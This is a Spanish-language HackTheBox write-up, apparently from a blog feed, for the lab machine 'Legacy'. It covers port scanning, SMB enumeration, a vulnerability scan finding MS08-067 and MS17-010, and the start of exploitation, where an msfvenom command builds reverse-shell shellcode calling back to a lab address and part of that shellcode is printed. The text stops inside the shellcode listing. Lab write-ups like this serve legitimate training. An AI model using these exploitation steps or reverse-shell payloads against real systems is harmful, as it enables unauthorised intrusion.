<p>Eso es todo por el momento, espero que te haya gustado.</p>]]></content></item><item><title>HTB writeup: Legacy</title><link>https://www.xbyte.mx/posts/htb_writeup_-_legacy/</link><pubDate>Wed, 06 Nov 2019 07:25:53 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_legacy/</guid><description>&lt;p&gt;Ahora es turno de la maquina Legacy, otra de las primeras maquinas disponibles en hackthebox y de la cual existen muchísimos escritos y videos de como resolverla. Me gusto mucho que si bien, la vulnerabilidad no era tan directa como la maquina anterior, una buena enumeración de los servicios y técnicas un poco mas agresivas nos pueden dar resultados muy interesantes. En esta ocasión, trataré de escribir la solución de acuerdo a las notas que tome esta semana cuando la resolví.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Ahora es turno de la maquina Legacy, otra de las primeras maquinas disponibles en hackthebox y de la cual existen muchísimos escritos y videos de como resolverla. Me gusto mucho que si bien, la vulnerabilidad no era tan directa como la maquina anterior, una buena enumeración de los servicios y técnicas un poco mas agresivas nos pueden dar resultados muy interesantes. En esta ocasión, trataré de escribir la solución de acuerdo a las notas que tome esta semana cuando la resolví.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/60dc190c4c015cfe3a3aef9b5afca254_thumb.png" alt="legacy image"> <a href="https://www.hackthebox.eu/home/machines/profile/2">legacy</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/1">ch4p</a></td>
          <td>Linux</td>
          <td>10.10.10.4</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-legacy/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar dos <code>nmap</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- --open -n -v 10.10.10.4
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 13:16 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 13:16
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 13:16, 0.11s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 13:16
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 14.45% done; ETC: 13:20 (0:03:04 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 32.21% done; ETC: 13:20 (0:02:08 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 56.10% done; ETC: 13:19 (0:01:11 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 78.51% done; ETC: 13:19 (0:00:33 remaining)
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 13:19, 142.82s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.4
</span></span><span style="display:flex;"><span>Host is up (0.055s latency).
</span></span><span style="display:flex;"><span>Not shown: 65532 filtered ports, 1 closed port
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE
</span></span><span style="display:flex;"><span>139/tcp open  netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp open  microsoft-ds
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 143.06 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 131178 (5.772MB) | Rcvd: 111 (4.864KB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@laptop:~# nmap -sU -p- --open -n -v 10.10.10.4
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 13:20 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 13:20
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 13:20, 0.09s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating UDP Scan at 13:20
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 137/udp on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed UDP Scan at 13:53, 2009.34s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.4
</span></span><span style="display:flex;"><span>Host is up (0.055s latency).
</span></span><span style="display:flex;"><span>Not shown: 65534 open|filtered ports
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE
</span></span><span style="display:flex;"><span>137/udp open  netbios-ns
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 2009.57 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 131126 (3.680MB) | Rcvd: 55 (13.420KB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-sU</code> para escaneo UDP</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Como en otras ocasiones, verificamos los puertos abiertos con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-10-06 03:15:47 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Discovered open port 137/udp on 10.10.10.4
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sV -sC -p139,445,U:137 -v -n 10.10.10.4
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 22:58 CDT
</span></span><span style="display:flex;"><span>NSE: Loaded 151 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 22:58
</span></span><span style="display:flex;"><span>Completed NSE at 22:58, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:58
</span></span><span style="display:flex;"><span>Completed NSE at 22:58, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:58
</span></span><span style="display:flex;"><span>Completed NSE at 22:58, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 22:58
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 22:58, 0.26s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 22:58
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [2 ports]
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 22:58, 0.26s elapsed (2 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 22:58
</span></span><span style="display:flex;"><span>Scanning 2 services on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed Service scan at 22:58, 6.92s elapsed (2 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.4.
</span></span><span style="display:flex;"><span>Initiating NSE at 22:58
</span></span><span style="display:flex;"><span>Completed NSE at 22:59, 51.78s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:59
</span></span><span style="display:flex;"><span>Completed NSE at 22:59, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:59
</span></span><span style="display:flex;"><span>Completed NSE at 22:59, 0.00s elapsed
</span></span><span style="display:flex;"><span>map scan report for 10.10.10.4
</span></span><span style="display:flex;"><span>Host is up (0.21s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span>139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp open  microsoft-ds Windows XP microsoft-ds
</span></span><span style="display:flex;"><span>Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>|_clock-skew: mean: -4h45m20s, deviation: 2h07m16s, median: -6h15m20s
</span></span><span style="display:flex;"><span>| nbstat: NetBIOS name: LEGACY, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:50:56:a4:2c:5b (VMware)
</span></span><span style="display:flex;"><span>| Names:
</span></span><span style="display:flex;"><span>|   LEGACY&lt;00&gt;           Flags: &lt;unique&gt;&lt;active&gt;
</span></span><span style="display:flex;"><span>|   HTB&lt;00&gt;              Flags: &lt;group&gt;&lt;active&gt;
</span></span><span style="display:flex;"><span>|   LEGACY&lt;20&gt;           Flags: &lt;unique&gt;&lt;active&gt;
</span></span><span style="display:flex;"><span>|   HTB&lt;1e&gt;              Flags: &lt;group&gt;&lt;active&gt;
</span></span><span style="display:flex;"><span>|   HTB&lt;1d&gt;              Flags: &lt;unique&gt;&lt;active&gt;
</span></span><span style="display:flex;"><span>|_  \x01\x02__MSBROWSE__\x02&lt;01&gt;  Flags: &lt;group&gt;&lt;active&gt;
</span></span><span style="display:flex;"><span>| smb-os-discovery:
</span></span><span style="display:flex;"><span>|   OS: Windows XP (Windows 2000 LAN Manager)
</span></span><span style="display:flex;"><span>|   OS CPE: cpe:/o:microsoft:windows_xp::-
</span></span><span style="display:flex;"><span>|   Computer name: legacy
</span></span><span style="display:flex;"><span>|   NetBIOS computer name: LEGACY\x00
</span></span><span style="display:flex;"><span>|   Workgroup: HTB\x00
</span></span><span style="display:flex;"><span>|_  System time: 2019-10-06T03:42:50+03:00
</span></span><span style="display:flex;"><span>| smb-security-mode:
</span></span><span style="display:flex;"><span>|   account_used: &lt;blank&gt;
</span></span><span style="display:flex;"><span>|   authentication_level: user
</span></span><span style="display:flex;"><span>|   challenge_response: supported
</span></span><span style="display:flex;"><span>|_  message_signing: disabled (dangerous, but default)
</span></span><span style="display:flex;"><span>|_smb2-time: Protocol negotiation failed (SMB2)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 22:59
</span></span><span style="display:flex;"><span>Completed NSE at 22:59, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:59
</span></span><span style="display:flex;"><span>Completed NSE at 22:59, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:59
</span></span><span style="display:flex;"><span>Completed NSE at 22:59, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 59.87 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p139,445,U:137</code> para unicamente los puertos descubiertos previamente</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
</ul>
<p>Los scripts de enumeración iniciales sobre el puerto de netbios y de smb nos devuelven información sobre la versión de sistema operativo, el nombre de la computadora y el grupo al que pertenece. Sin embargo, no tenemos información sobre las versiones o algo que nos ayude a identificar mas sobre la máquina. Veamos que podemos obtener de netbios en la siguiente sección.</p>
<h1 id="nbt-service-enumeration">NBT Service Enumeration</h1>
<p>Ejecutamos ntbscan en modo <em>verbose</em> para obtener una salida mas detallada:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket$ nbtscan -v 10.10.10.4
</span></span><span style="display:flex;"><span>Doing NBT name scan for addresses from 10.10.10.4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NetBIOS Name Table for Host 10.10.10.4:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Name             Service          Type
</span></span><span style="display:flex;"><span>----------------------------------------
</span></span><span style="display:flex;"><span>LEGACY           &lt;00&gt;             UNIQUE
</span></span><span style="display:flex;"><span>HTB              &lt;00&gt;              GROUP
</span></span><span style="display:flex;"><span>LEGACY           &lt;20&gt;             UNIQUE
</span></span><span style="display:flex;"><span>HTB              &lt;1e&gt;              GROUP
</span></span><span style="display:flex;"><span>HTB              &lt;1d&gt;             UNIQUE
</span></span><span style="display:flex;"><span>__MSBROWSE__  &lt;01&gt;              GROUP
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Adapter address: 00:50:56:a4:2c:5b
</span></span><span style="display:flex;"><span>----------------------------------------
</span></span></code></pre></div><p>Verificamos que esta información fue la misma entregada por el script de nmap, por lo que ahora podemos ver que independientemente de los servicios y los types no hay información adicional que nos pueda servir. Continuemos hacia smb.</p>
<h1 id="smb-service-enumeration">SMB Service Enumeration</h1>
<p>Ahora, en lugar de usar smbclient o smbclient.py, iniciare con un script de nmap que me ayude a hacer un descubrimiento de la versión de smb:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -pT:445,U:137,T:139 -sU -sS -n -v -Pn --script smb-protocols.nse -sV -sC 10.10.10.4
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-06 07:53 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 46 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 07:53
</span></span><span style="display:flex;"><span>Completed NSE at 07:53, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 07:53
</span></span><span style="display:flex;"><span>Completed NSE at 07:53, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 07:53
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [2 ports]
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 07:53, 0.12s elapsed (2 total ports)
</span></span><span style="display:flex;"><span>Initiating UDP Scan at 07:53
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [1 port]
</span></span><span style="display:flex;"><span>Discovered open port 137/udp on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed UDP Scan at 07:53, 0.12s elapsed (1 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 07:53
</span></span><span style="display:flex;"><span>Scanning 3 services on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed Service scan at 07:53, 6.37s elapsed (3 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.4.
</span></span><span style="display:flex;"><span>Initiating NSE at 07:53
</span></span><span style="display:flex;"><span>Completed NSE at 07:54, 50.68s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 07:54
</span></span><span style="display:flex;"><span>Completed NSE at 07:54, 0.00s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.4
</span></span><span style="display:flex;"><span>Host is up (0.083s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span>139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
</span></span><span style="display:flex;"><span>137/udp open  netbios-ns   Microsoft Windows netbios-ns (workgroup: HTB)
</span></span><span style="display:flex;"><span>Service Info: Host: LEGACY; OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>| smb-protocols:
</span></span><span style="display:flex;"><span>|   dialects:
</span></span><span style="display:flex;"><span>|_    NT LM 0.12 (SMBv1) [dangerous, but default]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 07:54
</span></span><span style="display:flex;"><span>Completed NSE at 07:54, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 07:54
</span></span><span style="display:flex;"><span>Completed NSE at 07:54, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 57.91 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 3 (166B) | Rcvd: 3 (336B)
</span></span></code></pre></div><p>Bien, ahora que tenemos identificado que se trata de un Windows XP, que usa SMBv1 como casi todas las maquinas por defecto, tratemos de buscar vía la categoría vuln, vulnerabilidades en esta maquina.</p>
<blockquote>
<p>Algo muy interesante que encontré, fue que cuando explore la carpeta scripts en busca de herramientas para la enumeración, me encontré con herramientas para la detección de vulnerabilidades. Fue por esto que opte por ejecutar la categoría sobre los puertos.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -pT:445,U:137,T:139 -sU -sS -n -v -Pn --script vuln -sV -sC 10.10.10.4
</span></span><span style="display:flex;"><span>Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-06 08:07 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 149 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 08:07
</span></span><span style="display:flex;"><span>Completed NSE at 08:07, 10.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 08:07
</span></span><span style="display:flex;"><span>Completed NSE at 08:07, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 08:07
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [2 ports]
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 08:07, 1.52s elapsed (2 total ports)
</span></span><span style="display:flex;"><span>Initiating UDP Scan at 08:07
</span></span><span style="display:flex;"><span>Scanning 10.10.10.4 [1 port]
</span></span><span style="display:flex;"><span>Discovered open port 137/udp on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed UDP Scan at 08:07, 0.12s elapsed (1 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 08:07
</span></span><span style="display:flex;"><span>Scanning 3 services on 10.10.10.4
</span></span><span style="display:flex;"><span>Completed Service scan at 08:07, 6.34s elapsed (3 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.4.
</span></span><span style="display:flex;"><span>Initiating NSE at 08:07
</span></span><span style="display:flex;"><span>Completed NSE at 08:07, 5.25s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 08:07
</span></span><span style="display:flex;"><span>Completed NSE at 08:07, 0.03s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.4
</span></span><span style="display:flex;"><span>Host is up (0.079s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE      VERSION
</span></span><span style="display:flex;"><span>139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
</span></span><span style="display:flex;"><span>|_clamav-exec: ERROR: Script execution failed (use -d to debug)
</span></span><span style="display:flex;"><span>445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
</span></span><span style="display:flex;"><span>|_clamav-exec: ERROR: Script execution failed (use -d to debug)
</span></span><span style="display:flex;"><span>137/udp open  netbios-ns   Microsoft Windows netbios-ns (workgroup: HTB)
</span></span><span style="display:flex;"><span>|_clamav-exec: ERROR: Script execution failed (use -d to debug)
</span></span><span style="display:flex;"><span>Service Info: Host: LEGACY; OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
</span></span><span style="display:flex;"><span>| smb-vuln-ms08-067:
</span></span><span style="display:flex;"><span>|   VULNERABLE:
</span></span><span style="display:flex;"><span>|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
</span></span><span style="display:flex;"><span>|     State: VULNERABLE
</span></span><span style="display:flex;"><span>|     IDs:  CVE:CVE-2008-4250
</span></span><span style="display:flex;"><span>|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
</span></span><span style="display:flex;"><span>|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
</span></span><span style="display:flex;"><span>|           code via a crafted RPC request that triggers the overflow during path canonicalization.
</span></span><span style="display:flex;"><span>|
</span></span><span style="display:flex;"><span>|     Disclosure date: 2008-10-23
</span></span><span style="display:flex;"><span>|     References:
</span></span><span style="display:flex;"><span>|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
</span></span><span style="display:flex;"><span>|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
</span></span><span style="display:flex;"><span>|_smb-vuln-ms10-054: false
</span></span><span style="display:flex;"><span>|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
</span></span><span style="display:flex;"><span>| smb-vuln-ms17-010:
</span></span><span style="display:flex;"><span>|   VULNERABLE:
</span></span><span style="display:flex;"><span>|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
</span></span><span style="display:flex;"><span>|     State: VULNERABLE
</span></span><span style="display:flex;"><span>|     IDs:  CVE:CVE-2017-0143
</span></span><span style="display:flex;"><span>|     Risk factor: HIGH
</span></span><span style="display:flex;"><span>|       A critical remote code execution vulnerability exists in Microsoft SMBv1
</span></span><span style="display:flex;"><span>|        servers (ms17-010).
</span></span><span style="display:flex;"><span>|
</span></span><span style="display:flex;"><span>|     Disclosure date: 2017-03-14
</span></span><span style="display:flex;"><span>|     References:
</span></span><span style="display:flex;"><span>|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
</span></span><span style="display:flex;"><span>|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
</span></span><span style="display:flex;"><span>|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 08:07
</span></span><span style="display:flex;"><span>Completed NSE at 08:07, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 08:07
</span></span><span style="display:flex;"><span>Completed NSE at 08:07, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 24.06 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 4 (210B) | Rcvd: 3 (336B)
</span></span></code></pre></div><p>Como podemos ver, la maquina dio positivo a dos vulnerabilidades, la MS08-067 y la MS17-010. Dos de las vulnerabilidades mas famosas de SMB porque han sido utilizadas por worms ya que no requieren autenticación o dependencia alguna de la maquina para poder explotar vulnerabilidades y alcanzar el anillo 0.</p>
<h1 id="exploiting-ms08-067">Exploiting MS08-067</h1>
<p>Hay varios caminos podemos usar para explotar esta vulnerabilidad, la más fácil y más común es utilizar metasploit-framework que ya tiene el &ldquo;todo en uno&rdquo; para esta vulnerabilidad. Iniciare por explotar la vulnerabilidad con ms08_067_2018.py:</p>
<h2 id="ms08_067py">ms08_067.py</h2>
<p>Para explotar esta vulnerabilidad con este script, primero necesitamos clonar el <a href="https://github.com/andyacer/ms08_067">repositorio</a>, después cumplir con las dependencias y finalmente preparar el entorno.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git$ git clone https://github.com/andyacer/ms08_067
</span></span><span style="display:flex;"><span>Clonando en &#39;ms08_067&#39;...
</span></span><span style="display:flex;"><span>remote: Enumerating objects: 37, done.
</span></span><span style="display:flex;"><span>remote: Total 37 (delta 0), reused 0 (delta 0), pack-reused 37
</span></span><span style="display:flex;"><span>Desempaquetando objetos: 100% (37/37), listo.
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/git$ cd ms08_067/
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/git/ms08_067$ python ms08_067_2018.py
</span></span><span style="display:flex;"><span>#######################################################################
</span></span><span style="display:flex;"><span>#   MS08-067 Exploit
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>Ahora que tenemos todo lo que necesitamos, debemos preparar la shellcode con msfvenom:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/ms08_067$ msfvenom --payload windows/shell_reverse_tcp --nopsled 7 LHOST=10.10.14.26 LPORT=3001 EXITFUNC=thread --bad-chars &#34;\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40&#34; -f c -e x86/jmp_call_additive -a x86 --platform windows
</span></span><span style="display:flex;"><span>Found 1 compatible encoders
</span></span><span style="display:flex;"><span>Attempting to encode payload with 1 iterations of x86/jmp_call_additive
</span></span><span style="display:flex;"><span>x86/jmp_call_additive succeeded with size 353 (iteration=0)
</span></span><span style="display:flex;"><span>x86/jmp_call_additive chosen with final size 353
</span></span><span style="display:flex;"><span>Successfully added NOP sled of size 7 from x86/single_byte
</span></span><span style="display:flex;"><span>Payload size: 360 bytes
</span></span><span style="display:flex;"><span>Final size of c file: 1536 bytes
</span></span><span style="display:flex;"><span>unsigned char buf[] =
</span></span><span style="display:flex;"><span>&#34;\x4b\xfd\x93\x90\xd6\xf8\x90\xfc\xbb\xc1\x87\xd9\xf4\xeb\x0c&#34;
</span></span><span style="display:flex;"><span>&#34;\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff&#34;
</span></span><span style="display:flex;"><span>&#34;\xff\xff\x3d\x6f\x5b\xf4\xbd\x70\x3c\x7c\x58\x41\x7c\x1a\x29&#34;
